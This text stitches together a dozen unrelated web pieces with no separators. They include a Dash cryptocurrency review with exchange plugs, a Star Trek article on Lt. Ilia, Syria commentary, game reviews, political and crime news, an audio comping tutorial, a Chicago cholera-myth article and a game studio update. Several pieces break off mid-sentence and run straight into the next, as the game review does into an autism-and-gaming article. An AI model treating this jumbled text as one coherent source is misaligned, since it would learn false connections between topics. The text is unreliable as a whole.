– The masternodes solve the issue of centralization because there’s no centralization when nodes are paid. Dash’s masternodes are rewarded for their service. The network can simply scale with larger blocks. Dash gets rid of the congestion and high fees that are associated with the bitcoin network. Also, Bitcoin, Litecoin, Ethereum network pay miners 100% but nodes and devs run for free. Dash pays the miners, the nodes, and users to run development. Self governance – 10% of each block reward is used to fund the treasury. Masternodes can vote on how to spend this money and spend on projects that increase the usage and value of the Dash network.
– 10% of each block reward is used to fund the treasury. Masternodes can vote on how to spend this money and spend on projects that increase the usage and value of the Dash network. A package that will render the Dash UX similar to Venmo or PayPal, which will harness a:
Decentralized API – This leads to a myriad of apps that can be built on the Dash network.
Dash Cons
Masternode votes – Users failing to understand what they are voting for in the network is an issue. Some may see this an issue, but most masternode operators have been in the network for a while now and may have the required knowledge to understand the network more.
Masternode price– To operate a masternode, it costs 1000 Dash. One year ago, a masternode was around 10k, which was very much attainable. Currently, it now costs around $1 million for a masternode. This prevents a large majority of new users to even attain one and start in the voting process. In addition, users who have two or more Masternodes have more say in the governance process simply because they had more money to put in.
Where to buy DASH?
Dash coins are currently being sold on many exchanges including Binance. I recommend this exchange because I personally use them. If you need additional help with buying Dash coins, check out my guide on how to buy ALT coins.
*NOTE* If you are looking for a cryptocurrency exchange providing the best crypto-to-crypto rates on the market, check out Changelly. Note that exchange times may vary depending on network congestion.
Conclusion
Dash can do all the same things as other coins and more. Many users see the value and potential Dash currently has and is developing. Major business deals have been made (payment company Alt 36, KuvaCash) Dash has made a stable position in the up and coming cryptocurrency market as being able to handle digital payments on a large-scale.
As the Sash community grows, it will roll out more developments and updates to further make fast and secure digital payments a reality in the near future. The Dash wallet is clearly one to keep your eye on.At every Las Vegas Star Trek convention I've been to there's always one woman (the same woman?) who goes for broke, shaves her head and knocks 'em all dead as Lt. Ilia. This week would have marked the 65th birthday of the Indian actress and model who played her, Persis Khambatta. As a tribute, here are some things you should know about Khambatta, Lt. Ilia and her Deltan species.
Persis Khambatta's unique look was a ubiquitous part of Star Trek: The Motion Picture's advertising campaign. 1979 was a long time ago, and a woman with no hair was still quite a shocker. (The kids today with their neo-post-punk rock wouldn't understand!) Indeed, Khambatta's real-life head-shave was enough of a news item that it was filmed for promotional purposes. (If you are cruel enough to want to watch a woman cry, you can check out the video HERE, which is set to Jerry Goldsmith's score.)
With her big-budget debut in ST:TMP, Khambatta rode quite a wave as she entered Hollywood. She was already a very successful model (and former Miss India) and had appeared in some British films. Take a second look at the teaser trailer for the film HERE and listen to the way Orson Welles lowers his voice as he says her name. (Yes, that's Orson Welles doing the voice over, not an Orson Welles impersonator.) It's as if he's saying “this name, this name here is something special.”
After ST:TMP, she became the first Indian actress to serve as a presenter at the Academy Awards. She then landed another high-profile role with the gritty New York cop thriller Nighthawks with Sylvester Stallone. Then, the ion storm of fate blew in a different direction. She stopped landing the top gigs (appearing in such notable clunkers as Megaforce; click HERE for a video to forget) and, sadly, died at the young age of 49.
In ST:TMP, Lt. Ilia was the Enterprise's new navigator. (Chekov had by now been promoted to tactical officer/security chief.) Her Deltan species was part of the early plans for Star Trek: Phase II, the proposed television series that eventually morphed into The Motion Picture. A lot of the backstory Gene Roddenberry had planned for her (which surfaced in his novelization of the film and in various “making of” books) is quite fascinating. But, to be honest, not all of this is evident in the final cut of the film.
Indeed, one of the stranger moments in TMP is when Lt. Ilia first arrives on the bridge and, after it is implied that she and Commander Decker have a past history, she blurts out that her “oath of celibacy is on record.” This odd comment (which might be interpreted to imply that no intimacy is allowed aboard a Federation starship – something which is very much not the case) is actually due to the fact that Deltans are meant to have highly advanced senses, and this includes a sexual manifestation.
In other words, they don't just hear music, they HEAR MUSIC and they don't just engage in physical acts of love, they do it in a way that we mere Earthers could never understand. So much so that hookin' up with a Deltan could actually DRIVE SOMEONE INSANE.
Here's something funny, though. While there were follow-up lines that gave some context to Ilia's statement in the original script, they were cut out of the finished film. But the (predominantly young) readers of Marvel's official comic version got to learn more about interplanetary prurience. See below:
That's right, something that was considered too blue for the movie still made its way into the funnybook. Maybe Frederic Wertham was right!
Other Deltan facts – and you can glean this from the film if you watch closely. They have a healing touch (note how Ilia comforts a burned Chekov before the medics get there) and a little bit of ESP.
A good percentage of Khambatta's screen time in the film is actually not as Lt. Ilia, but as a projected manifestation of V'Ger in Ilia's body. (But, with Ilia's memories intact – it's not like V'Ger is needlessly cruel!”) This is sad for those of us who are #TeamIlia (which, granted, may just be that one woman who dresses as her at the con each year), but it does give us the opportunity to hear Persis Khambatta's voice put through some sort of electro-warbling effect. I particularly like the part when everyone is on the bridge, they are making their way through the nebula, she raises her arm, points and robotically announces “V'Ger.” (It's the little things with me.)
While Ilia (and Decker) conclude the film by zipping off to V'gerville, Ilia still made some brief appearances in non-V'Ger form in some of the early newspaper comics. Methinks somebody didn't get the memo.
Deltans never got much play after the first film. Yeah, they show up here in there in the books and games and you can spot them in the background of some other films, but the cool stuff created in the Phase II story bible never got that much attention on the center stage. Or...did it?
Turns out that The Next Generation's Betazoids, including our beloved Deanna Troi, were adapted from the original concept of the Deltans. In addition to both being named for Greek letters, they had capabilities of extra sensory perception. And then there's the delight in the senses. The TNG writers pushed the sexual angle as far as they could go (and more for a laugh with Lwaxana than with Deanna), but maybe now you'll understand why the ship's counselor enjoys chocolate sundaes so much.
Do you recall how you felt when you first saw Persis Khambatta as Lt. Ilia? Please share you memories below.
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Jordan Hoffman is a writer, critic and lapsed filmmaker living in New York City. His work can also be seen on Film.com, ScreenCrush and Badass Digest. On his BLOG, Jordan has reviewed all 727 Trek episodes and films, most of the comics and some of the novels.Betrayal and Failure For America in Syria
Garrett Khoury Blocked Unblock Follow Following Sep 22, 2015
Reports of American-trained rebels handing over their weapons to the Nusra Front are the latest embarrassment for the White House in Syria.
Within hours of the announcement that American trained and equipped Syrian fighters from Division 30 had crossed from Turkey into Syria, reports came out saying that they had surrendered to the Al-Qaeda affiliate Jabhat an-Nusra (the Nusra Front, or Nusra) and turned over their weapons. Even worse, Syrian sources from within and outside the Nusra Front were saying that this was a deliberate betrayal on the part of Division 30 leader Anas Obaid.
Division 30 was the first benefactor of the American-run training program in Turkey that was supposed to turn out fighters who could take on the Islamic State of Iraq and al-Sham, or ISIS. They would be the boots-on-the-ground presence needed to take advantage of Coalition air strikes. Unable to support the Syrian Kurds as much as they would like due to Turkish opposition, the training program aimed to create a non-Kurdish Sunni force, which is officially known as the New Syrian Force. Vetted, trained, and equipped under American direction, thousands were meant to go through the program over the course of the next few years.
The first Division 30 operation was launched in late July, when 54 of its fighters were sent into Syria and promptly attacked by the Nusra Front. Their headquarters was overrun, their leadership kidnapped, and the force scattered as many questioned what exactly those fighters were doing there at that point. Last week, Central Command chief General Lloyd Austin admitted that only “four or five” of that original group were left in Syria.
With the failure of the first Division 30 mission in mind, the question needs to be asked: why not wait for the other 75 fighters to be ready? Why send in 54 at that point when, in just a few weeks, another 75 would apparently be ready for action? 129 fighters still isn’t exactly an imposing force, but it’s better than sending in just 54, only to watch them get effectively wiped out, and then send in another 75. What is the strategy here? Is it based on how many buses the United States can charter to take their men to the border?
Also, why send in the latest batch of 75 so soon after the debacle of the first Division 30 mission? Did the United States and whoever else was consulted feel that it was imperative to get another force into Syria in an attempt to make up for the failure of the first? Did they also think that the extra 21 fighters would make all the difference when they inevitably found themselves faced by Nusra? Were there also no questions being asked about the loyalty of Division 30’s leadership after they pledged never to fight the Nusra Front and described them as “brothers?”
Even if the reports of turning their weapons over to Nusra turn out to be false (update 9/26/2015- CENTCOM confirms Obaid surrendered some of his equipment to a “suspected Al-Qaeda intermediary”), the experiment with Division 30 has been an unmistakable disaster. Everything about the program to train, equip, and deploy them was done poorly, and the level of incompetence among American planners that has become evident through this is truly staggering.
After missing their chance to partner with Syrian groups who were actually politically moderate in the opening phases of the civil war, the White House has embarrassed itself while trying to make up for lost time. With the Syrian Civil War going on five years old, it is apparent that the White House is still not quite sure what it is doing and why in Syria.There is a lot to be said for browser games; they have come far in the years since they were first introduced. In fact I remember when best graphics you could hope to get came from something like Mafia Wars on MySpace. Then we watched as it slowly evolved into games like Farmville, Cityville, that café game, and virtually a thousand other clones of them. Even games that tried to break the mold like Galaxy Online II only resulted in yet another horribly similar game, even if it did draw a strikingly large and obsessive audience. Things took a change when IGG created a few ACTUAL MMORPG’s for the browser, and since then things have gotten better. This week I was charged with reviewing a title from 37 games called Dragon Atlas. If you know 37 then you have probably heard of SiegeLord which is yet another clone of the various strategy games you’ve already seen on Facebook, though it’s not on Facebook, so we have to give it that at least. With that being said, I want to start out by thanking 37 for finally giving browser gamers something new! I have very few complaints about Dragon Atlas, at least apart from my own personal reservations, so let’s take a look at it and maybe, just maybe you’ll find your new favorite game.
What is Dragon Atlas?
First and foremost, Dragon Atlas is a browser game, and it is an RPG. It is not, however, an open world RPG. Unlike Runescape and others of the same type, it does not feature a world that you can freely walk about. Instead, you are presented with a world map that allows you to move from point to point.You are represented by a game piece which honestly looks more like a chess piece than anything else, and there are several different point types that you can land on. For example, you have your enemy points, which also look like game pieces. One piece can equal several different enemy types, and as the game starts out, you are a single person with a trained dragon. Interestingly enough, your health is tied to the dragon, so if you go down, so does he.
Other pieces on the board that you might encounter will include teleporters, switches, towns, and anything else the developers feel like throwing in there. The interesting thing is that as you click on any location on the map, you will see a representation of you, your dragon, and anyone else in your party running along the bottom of the screen. As an interesting twist on the art, they run along what appears to be a large hamster wheel, though it is simply a representation of the terrain, and like I said, art direction.
The Combat System
The combat system works as you would expect in an RPG, though it is semi-real time, which is a bit of a change. Instead of controlling the abilities of each person/dragon in your party, you simply indicate when each person is to attack, and they will do so with whatever they happen to have equipped. This includes every ability as well as weapon you have given them. The better equipped they are, the better they will do in battle, but keep in mind that their individual level cannot exceed yours.
As you enter combat, each of your characters will have a cooldown timer which is displayed on the action bar at the bottom of the screen. You can see your enemies’ cooldown timer by looking above their heads and looking at the white stopwatch which gradually changes color as they become ready to attack. You can reduce your cooldown timer by making enhancements to your own abilities, which becomes available as an unlock after a certain level.
I’m going to be honest here, the entire game is made to feel as if you are in an anime, from the storyline, to the combat, and that’s not necessarily a bad thing. When you are in PVP it actually makes for some epic battles, especially if you feel like turning auto attack on. Ah yes, the auto attack, I forgot to mention that, didn’t I? If you are a particularly slow clicker, or if you have been sweeping an area for a long time, you will be glad to know that you have the ability to turn on the ‘auto attack’ after level fifteen which causes the AI to choose attacks for you as they become available. In fact you will probably want to have this turned on anyway as the AI can activate an attack faster on the server side due to input lag on your side. If you need to fight a more strategic battle however, then you may want to switch to manual control, for example, if you want to hold your dragon attack back until the final battle in a scenario.
Increasing your Party
Until you reach a higher level you will be stuck with yourself and your dragon, and your character will either be a mage or fighter depending on what you chose at character creation. Once you hit that certain level, you will be able to recruit mercenaries at the local tavern, adding them to your party as you wish. I recommend you choose a healer as your first addition. Actually the game kind of recommends it too, so you don’t have much of a choice there.
Once you have more people in your party you will be able to take it up a notch by participating in Arena battles. Trust me, you didn’t want to do it before you had more party members. Actually, when you start out you will probably lose most of your fights anyway. Low levels aren’t exactly prevalent in the arenas at the lower levels and the higher levels that are in there have spent a lot of time developing all of their characters.
Character Enhancements
As you increase in level you will increase your character in several different ways. For example you will gain valor points from completing story based missions, and you can use these to add skill points to your talent tree, so to speak. If you are like me, you will find yourself with literally thousands of unspent valor points by the time |
a godsend, since it eliminates the need to constantly initiate conversations with strangers.
"It takes a lot of my anxiety away and is usually the only way I can get to raid successfully," Æxangel, who has Asperger's, wrote. "I usually play solo and like to be by myself a lot in-game."
If used properly, World of Warcraft and other online games like it could be a major boon for parents trying to raise kids with autism.
In 2010, Kim Enders wrote about using WoW as a learning aid for her 8-year-old son Thomas, who has Asperger's. Thanks to the game, Enders says that Thomas has had plenty of opportunity to develop his social and communication skills, and she believes that the MMO's math-heavy focus has benefited his understanding of numbers as well.
However, it's not necessarily safe setting an autistic child loose in Azeroth. Thomas has been harassed by older players. "I don’t really feel like Blizzard has much in place to protect children and mentally challenged players from the seedier crowd," Enders says, but added that she was able to talk to her son about the experience and take away some "valuable lessons" about interacting with others.
Vanderbilt University psychologist Crittendon says that through therapy, it's possible to minimize the negative social implications of an autism disorder by intervening early with kids.
"You can actually change the way the brain is growing," she says. "You can get the kid to pay attention to people more."
Ian Bates' 15 minutes of internet fame ended well, all things considered. The comments on his "Red Shirt Guy" video were none too complimentary, and speaking to other players still makes Bates nervous. "It took years to feel comfortable talking on [the voice chat program] Ventrillo," says Bates. "Even now, I don't really talk all that much."
But Blizzard was grateful for his question. Now, Falstad Wildhammer properly appears in Azeroth. And standing beside him is a teenaged dwarf named "Wildhammer Fact Checker." He's wearing a red shirt.Rep. Jim Himes James (Jim) Andres HimesSunday shows preview: Mueller report in spotlight Dem lawmaker on Omar tweet: Be careful about how you discuss sensitive issues Dems seize on Trump feud with intelligence leaders MORE (D-Conn.) said Sunday that the House Intelligence Committee has “seen a lot of contact” between President Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE’s campaign and Russia during the course of its investigation.
“You know, we’ve seen a lot of contact. We’ve seen a desire to get dirt, a desire to work with the Russians, a desire to contact the Russians,” Himes told NBC’s “Meet the Press.”
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“The question is — was there some form — and it is a question, I don’t want to prejudice the outcome — was there cooperation?”
Himes, who sits on the panel, said it matters if there was “follow up” between Donald Trump Jr. Donald (Don) John TrumpTrump Jr.: You'll be shot in 'about two seconds' wearing a MAGA hat in downtown Chicago Omarosa: There's a ‘big red line’ for Trump in Cohen's testimony Another New York condo votes to remove 'Trump' from name MORE and the Russian lawyer he met with after he had been promised harmful information about Democratic presidential nominee Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE.
“So the question before us now is what happened afterward. Was there follow up?” Himes said.
Himes said Trump Jr., who met with the House Intelligence Committee last week as part of its investigation into Russia’s election meddling and any potential ties between Trump campaign staff and the Kremlin, was “forthcoming” in the meeting.
Rep. Adam Schiff Adam Bennett SchiffTech takes heat as anti-vaxers go viral Demands grow for a public Mueller report Bharara: It would seem 'odd and unusual' if Mueller report isn't made public MORE (D-Calif.), the ranking member of the committee, said Trump Jr. refused to answer questions about his conversation with the president about the meeting with the Russian lawyer. Trump Jr. invoked attorney-client privilege, claiming there was a lawyer present, Schiff said.learning
How To Get The Perfect Take
Comping is an audio editing technique that consists in putting together different takes of the same instrument in order to get the "perfect recording" without the trick being audible.
Before the advent of digital technologies, this operation was cumbersome and demanded a lot of know-how. Fortunately for you, computer music offers now an amazing flexibility that makes it all much more simple when you know the basics of how it's done.
Pre-requisites
Before getting into the heart of the matter, let's go over the things you will need.
To begin with, in order to be able to comp(ile) something you need enough material to put together. You should have at least four takes. Be sure to record enough material when the musicians are in the studio, but take care not to burn them out or you might end up with substandard performances.
On the other hand, for the comping to be as transparent as possible there must be some consistency between takes. Not only in terms of rhythm but also of timbre. So refrain from changing the settings of the amp, the position of the mic, etc. This is especially important when it comes to vocals. In this particular case, we highly recommend you to use takes from the same session only, since the timbre of a voice can change from one day to another.
Finally, to improve your efficiency, it is useful to know your DAW's keyboard shortcuts like the palm of your hand, especially those to zoom, navigate within the project, change tools (scissors, glue, select), and obviously to undo something (Ctrl+Z or Cmd+Z, unless you come from another galaxy!).
The basics
Now that you have everything you need at hand, let's move on to more serious things. We will not address the different comping options of any particular sequencer, refer to the manual if that's what you are looking for. At this stage we will assume that, one way or another, the different takes of your instrument are already perfectly in sync on top of each other.
The first thing you ought to do is split these takes into several musical phrases. The split points are crucial in order to avoid artifacts, so you should try to split the takes during silent passages. Make sure you deactivate the snap to grid option of your sequencer so that the point where you split is the exact place where the cursor is at.
You then have to choose the best parts to put them together. And, finally, you have to apply a crossfade of at least two milliseconds between every part, which ought to avoid any audible clicks.
Child's play, isn't it? The only problem is that it is not always as easy as that. Sometimes the editing can only be done right in the middle of a waveform, which can be heard miles away...but don't despair we still have some other tricks up our sleeve!
Going further
First of all, you should know that a recording has many more silent zones than we believe it does. We can find "microsilences" before certain consonants, for example, or during a brief damping of the guitar strings, etc. Play with the horizontal zoom in order to spot them. If you can stick a min-crossfade in there, go for it!
On the other hand, noise is your friend. Whether it's a breath, the buzz of a guitar amp or noise from your preamp, your edit will go unnoticed.
In case it's a mono instrument, it is even possible to sometimes cut right in the middle of the waveform. In which case you need to match the waveform amplitude of both files and then align them so that there is no abrupt disruption of the curve. Add to that a linear crossfade spanning over two or three cycles of the sine wave and you should end up with something coherent.
For a polyphonic instrument, a long crossfade of around 40 milliseconds on the sustain of a note will generate a phasing effect, but if the instrument isn't the most upfront, it should do the trick. Don't hesitate to try out the different types of crossfades (linear, logarithmic, etc.) in order to achieve the most natural-sounding result.
And finally, in the most desperate cases, you still have a pretty unknown weapon: pre-masking. This psychoacoustic effect will trick the listener's brain to your advantage. The way it works is that every sound immediately preceding a violent transient is more or less masked. That means drums will be your best ally because you will be able to potentially do an edit right before any bass drum or snare hit and any other track. But be careful, it isn't black magic, so it may not work. You should test its effectiveness on a case-by-case basis.
There you go. We hope these tips help you improve your productions. Although comping is not the most exciting thing to do, it's really worth the effort and makes the difference between the pros and the amateurs. One last thing before you can return to your mixes: once you are done with the comping, let your ears rest five minutes and then listen again to the result two or three times by itself and within the context of the song to make sure that the editing is imperceptible.SALT LAKE CITY -- Utah Jazz guard Rodney Hood torched the Los Angeles Lakers on Monday, scoring 30 points -- all in the first half -- as his team rolled to a 48-point win.
But when the lopsided beatdown ended, Hood joined dozens of others, including the governor of Utah, outside the Lakers' locker room at Vivint Smart Home Arena.
Kobe Bryant usually brings about five pairs of shoes to road games with the intention of signing them for players bold enough to ask. Andrew D. Bernstein/NBAE via Getty Images
They were all waiting on Kobe Bryant.
Holding a pair of sneakers, Hood patiently waited while Bryant made the rounds, meeting with numerous friends, friends of friends, family members of those friends and numerous others, such as retired Jazz star Andrei Kirilenko.
Finally, after Bryant posed for countless pictures, signed endless autographs and shook more hands than a politician, it was Hood's turn to have a moment with the Lakers icon who's retiring this summer after 20 seasons in the NBA.
"Ooooooh boy!" Bryant shouted at Hood. "Cooking with gasoline tonight!"
The two embraced, and Bryant took out a marker and signed the sneakers Hood held, carrying on a popular postgame tradition at both home and road games during Bryant's farewell tour, where as soon as the fourth-quarter buzzer sounds, opposing players transform from professional athletes into giddy, autograph-seeking fans.
These players' ultimate goal? Coming away with sneakers signed by Bryant -- either a fresh pair, the ones he wore that night, or whatever's available.
It has become such a ritual, in fact, that Bryant estimates he has signed and given away at least 30 pairs of shoes to opposing players -- and even players from other professional sports -- this season.
Devin Booker, a 19-year-old rookie with the Suns, recently spent some time postgame with Kobe before scoring a signed pair of sneakers. Andrew D. Bernstein/NBAE via Getty Images
In fact, on average Bryant brings about five pairs to each road game -- and as many as seven in at least one instance -- because he knows the demand is especially high.
So what are the requirements for receiving an autographed pair?
"Why? You want some?" Bryant joked when he was asked this week.
"Nah, generally guys that got the cojones to ask, I give it to them. I've got plenty of them back there, so I'm not going to run out, so it's all good."
Bryant often doesn't just sign his name. He'll add a message too.
To Draymond Green, Bryant wrote, "Make history!"
To Tony Allen, Bryant wrote, "The best defender I ever faced!"
To Kevin Durant, Bryant wrote, "Be the greatest."
Bryant has signed pairs for Paul George and LeBron James, for former teammates Trevor Ariza and Caron Butler, and for many other NBA players.
He even signed a pair for Arizona Cardinals wide receiver Larry Fitzgerald, who recently ventured into the visiting training room in Phoenix to meet with Bryant.
Bryant also gave the pair off his own two feet to some young fans seated near the bench late in a game in Denver. Bryant said he chose those fans because he gave them a question that they correctly guessed -- the name of his dog (Crucio).
Signed shoes aren't reserved just for NBA players, as Arizona Cardinals receiver Larry Fitzgerald found out last week. Andrew D. Bernstein/NBAE via Getty Images
But the circus truly begins right after the games end, when opposing players parade one at a time into the locker room or training room where Bryant is typically receiving some kind of treatment on his 37-year-old, oft-injured body.
Generally, many players are quick to post photos of their haul on social media after games. In other instances, players, such as Durant, act rather shy about it.
"Yeah, don't tell nobody though, man," Durant joked at the time, confirming that he received a signed pair from Bryant. "I don't want to be looked at as a softie."
Bryant, for one, doesn't mind all the company, knowing that many players have to wait him out after his postgame media availability, followed by meet-and-greets.
"It's great," Bryant said this week, "because they know. During competition in previous years, there's no time for that. Now, it's different. You get a chance to talk and catch up and give some advice and things like that."
Bryant's impact on opposing players can't be understated, as they regard him in almost mythical fashion and are openly discussing that topic during his final season.
"During competition in previous years, there's no time for that. Now, it's different. You get a chance to talk and catch up and give some advice and things like that." Kobe Bryant on his postgame chats with opposing players
When asked what it was like to face Bryant, Denver Nuggets rookie Emmanuel Mudiay recently remarked, "I almost cried."
When asked a similar question Sunday, Washington Wizards guard John Wall replied, "I'm glad my mom was here to see it."
Similar comments have laced through the season, underscoring why so many players vie for a piece of signed memorabilia from Bryant after games.
And if they don't catch Bryant in the locker room or training room, many athletes simply stand in nearby hallways that swell with fans and others hoping for a photograph, autograph or even a few words with Bryant.
All in all, this postgame crush means that it takes Bryant, who is shepherded by at least one and sometimes three personal security guards on the road, quite a while before leaving the arena.
Fans have also been on the receiving end of Kobe's spontaneous shoe giving, like in Denver on March 2. AP Photo/David Zalubowski
Sometimes, in fact, it feels as if it takes Bryant 10 minutes to simply move 10 feet because he stops every few inches or so to shake hands, sign autographs, share a few words and/or have his picture taken with a fan, who at times is an athlete.
Bryant recently recalled his first autographs -- Michael Jordan, Scottie Pippen, Horace Grant, Penny Hardaway and even future Lakers teammate Shaquille O'Neal.
"How funny is that, though? Shaq was really nice to me when I met him," Bryant said. "I remember I was like 15 years old. He was really, really nice to me. Penny, not so much. I kind of carried that with me for the rest of my career."
So Bryant makes time to sign everything. He knows what it's like to be in a fan's shoes -- and now he knows what it's like to give his own away, every single night.UPDATE: July 4 groping case ends with time served; deportation possible
MUSKEGON COUNTY, MI - An Indiana resident called an "illegal immigrant" on court documents has been charged with sexually groping two 17-year-old girls on the Fourth of July in a Michigan's Adventure wave pool.
Eliazar Rivas-Rodriguez, 29, of Middlebury, Indiana, was arraigned Tuesday, July 7, on two counts of fourth-degree criminal sexual conduct involving force or coercion. The arraignment was conducted through a Spanish-speaking interpreter, according to court records.
Muskegon County Chief 60th District Judge Maria Ladas Hoopes set his bond at $50,000 cash or surety and scheduled a probable-cause hearing for July 21.
The crime is a high-court misdemeanor punishable by a maximum of two years in state prison.
According to an affidavit for warrantless arrest in Rivas-Rodriguez's court file, he's accused of sexually groping the girls - who didn't know him - on July 4 while they were in a wave pool at Michigan's Adventure amusement park at 4750 Whitehall Road in Fruitland Township.
One of the teens reported the stranger grabbed her in the crotch area once. The other said he did it three times in succession, then grabbed her by the ankle under the water when she tried to flee.
The girl was able to get away and reported the incident to the teens' guardians, according to the affidavit. It was then reported to a lifeguard, then to park security guards. They kept the suspect in sight until a Michigan State Police trooper arrived to investigate.
Rivas-Rodriguez, interviewed through an interpreter, denied all the allegations, according to the affidavit.
The affidavit described the suspect as an "illegal immigrant" living for 10 years in the Goshen, Indiana, area.
At the end of the court process, whether it results in conviction or not, the Muskegon County Prosecutor's Office typically will notify the U.S. Immigration and Naturalization Service that an undocumented immigrant has been charged with a crime, Chief Assistant Prosecutor Timothy M. Maat said.
Typically, an undocumented immigrant, if convicted of the charged crime, would serve his sentence, if any, then face deportation to his home country, Maat said.
John S. Hausman covers courts, prisons, the environment and local government for MLive/Muskegon Chronicle. Email him at jhausman@mlive.com and follow him on Twitter.The Chicago 1885 cholera epidemic myth is a persistent urban legend, stating that 90,000 people in Chicago died of typhoid fever and cholera in 1885. Although the story is widely reported, these deaths did not occur.
Lake Michigan was the source of Chicago's drinking water. During a tremendous storm in 1885, the rainfall washed refuse from the Chicago River far out into the lake and locals feared the sewage would reach the city's water intake cribs, two miles offshore.
According to the legend, typhoid, cholera and other waterborne diseases from the contaminated drinking water killed up to 90,000 people. The Chicago Sanitary District (now The Metropolitan Water Reclamation District) was said to have been created by the Illinois legislature in 1889 in response to a terrible epidemic which killed thousands of residents of this fledgling city.
However, analysis of the deaths in Chicago shows no deaths from cholera and only a slight rise in typhoid deaths. In fact, no cholera outbreaks had occurred in Chicago since the 1860s. Typhoid deaths never exceeded 1,000 in any year in the 1880s. The supposed 90,000 deaths would have represented 12% of the city's entire population and would have left numerous public records as well as newspaper accounts. Libby Hill, researching her book The Chicago River: A Natural and Unnatural History, found no newspaper or mortality records and, at her prompting, the Chicago Tribune issued a retraction (on September 29, 2005) of the three recent instances where they had mentioned the epidemic.[1]
Actual deaths [ edit ]
An outbreak of cholera in 1849 killed 678 persons, 2.9 percent of the city's population, and an 1854 outbreak killed 1,424 people. Another cholera epidemic hit the city in 1866 and 1867.[2][3] In the late 19th century, typhoid fever mortality rate in Chicago averaged 65 per 100,000 people a year. The worst year was 1891, when the typhoid death rate was 174 per 100,000 persons.[4]
One of the most famous people to die from typhoid fever in Chicago was Stephen A. Douglas, a Democratic contender in the 1860 presidential election, who died on June 3, 1861.
References [ edit ]
Sources repeating myth [ edit ]A 20-year-old New Jersey man has been charged on terror-related counts for allegedly trying to help organize a "small army" of ISIS fighters in New York and the Garden State and for traveling overseas with the intent to join the terror group, federal prosecutors said Monday. Chief Investigative reporter Jonathan Dienst reports. (Published Monday, Aug. 10, 2015)
Local Man Accused of Trying to Organize 'Small Army' of ISIS Fighters in New York, New Jersey: Officials
A 24 year-old New Jersey man who tried to help organize a "small army" of ISIS fighters in the Garden State and New York pleaded guilty Thursday to terror-related charges.
Alaa Saadeh was part of a group of men who were trying to support the ISIS terror group. Saadeh admitted he gave money and credit cards to other members of the group to try to help them travel to Syria. He and others in the group watched ISIS propaganda including beheadings and other killings by the terror group. His brother, Nader Saadeh, was among the group charged in the scheme.
Saadeh pleaded guilty to conspiring to provide material support to ISIS in Newark federal court before Judge Sarah Wigenton.
He is set to be sentenced Feb. 16 and could face up to 15 years in prison.
His defense attorney said Saadeh does not plan to cooperate with prosecutors as part of his plea deal.
Saadeh is the second man to plead guilty in connection with this New Jersey cell. In September, Samuel Topaz admitted he wanted to join ISIS. His lawyer said if members of the group had failed to get to Syria or Iraq on their own, they had discussed an alternate plan of buying guns inside the US and targeting the White House and other landmarks for an attack.
In the past year, the FBI has arrested 7 men in all from New York and New Jersey for their alleged ties to this homegrown, ISIS-inspired terror cell. Officials have said the investigation is ongoing.
Officials have said the parents of Alaa and Nader Saadeh were deported more than a decade ago in connection with an alleged credit card fraud case. The Saadeh children were allowed to stay with custodians in New Jersey because they were US citizens, officials said.Hello everyone!
If you are proficient with the modern marvel that has become known as "The email", then you may have noticed that you have received a key to our VIP members area. This area will allow you to download Kickstarter rewards, keys and early alphas of the game.
Since the mailing I have answered just over five hundred support emails, so to avoid getting thousands more, I'm going to give you a quick FAQ:
I did not get my key.
Have you checked your junk mail folder? Your key will likely have arrived between Monday and Thursday last week.
The site does not recognise my key.
Make sure you put the full key without spaces at the start or end. A complete key should look something like this: "Kickstarter-0010-59a296dd-3dz5-454c-a286"
I downloaded one of the tech demos or alpha builds, but I get a black screen. I am on ATI hardware.
Update your graphics card drivers to the latest stable release: Version 13.4.
I still get a black screen.
Your current GPU might not support OpenGL 4. I am working on some simplified shaders that will let you run the game. Otherwise ensure that you are not forcing antialiasing or other graphical effects in your graphics card's control panel.
When will Linux builds be available?
I'm uploading the Linux build of the 0.26 tech demo late tomorrow. The 0.27 Linux build will be released in parallel with the Windows release.
When will the Mac builds be available?
Sometime soonish, earlier builds of the game have been running on Mac, but some of my fancy new graphics might need tweaking for Apples "quirky" GL support.
Can I stream/YouTube the game or tech demos?
Not yet. But I have written a license for the 0.27 alpha that will allow you to stream and monitise footage of the game.
If you need further help, email me on Support@MaiaGame.com and I'll get you sorted out.
Ok now that's out of the way. I'd like to talk about development for a bit.
Firstly, I mentioned I hired a writer, and I'd like to take the time to introduce him. However I don't have said time. So I'm making him introduce himself! Ladies and gentlemen, Mr Paul Dean:
Hello!
Simon has asked me to tell you all a little bit about myself, so here's a very, very short biography that omits the time I was on television because I was excited about a train.
I'm a freelance writer and I've been writing mainly about video games for quite a long time now. Far back in the distant past of 2001 I started writing for a bunch of different magazines such as PC Format and PC Gamer. I spent a lot of my time talking about and reviewing games, but I was also keen on writing longer, research-based work and I like digging to find the information I need. I was writing for money up until 2005, before I moved to London to be a student and live in a basement.
Over the last two years, I've returned to freelance writing and you might have seen some of my work on sites like Eurogamer, IGN, PCGamesN and RockPaperShotgun. I'm also a big fan of board games and two years ago the very handsome Quintin Smith and I set up Shut Up & Sit Down, a site and show about board games that's been syndicated by Machinima and Penny Arcade. All this stuff keeps me very, very busy with the whole word business and I like it very much. I'm particularly excited to be able to join the Maia team and contribute to the game, even though the people I'm working with are disgustingly talented and make me look like a pitiful, primitive insect in comparison.
My favourite authors are Kurt Vonnegut and Ursula Le Guin, my favourite food is Italian and my favourite chord is either A minor or B minor. I was a published poet when I was eleven (oooh), I don't have a driving license and I have sniffed William Shatner. Further information is available upon request.
Secondly, Kris, our character artist will be leaving our almost-full-time employment soon and will be picking up work from the project on a more sporadic basis. He's been polishing off the backer heads recently and has done a rather sterling job of it!
Word on the street is he is going to be doing a little work on Mike Bithell's exciting upcoming project.
Development on the game has progressed in stops and starts. I never got to the bottom of the ATI bug that plagued me for over a week. The problem solved itself in the latest drivers. Frustrating, but I'm glad that it is now behind us.
I was also delayed several days by the Indiegogo key mail out that suffered a 90% failure rate on Hotmail/Live accounts. Took me many hours and a lot of detective work to find out that Hotmail now treats plain text emails as spam and deletes them before they even reach the junk folder. Thankfully the Kickstarter keys went out without a major hitch.
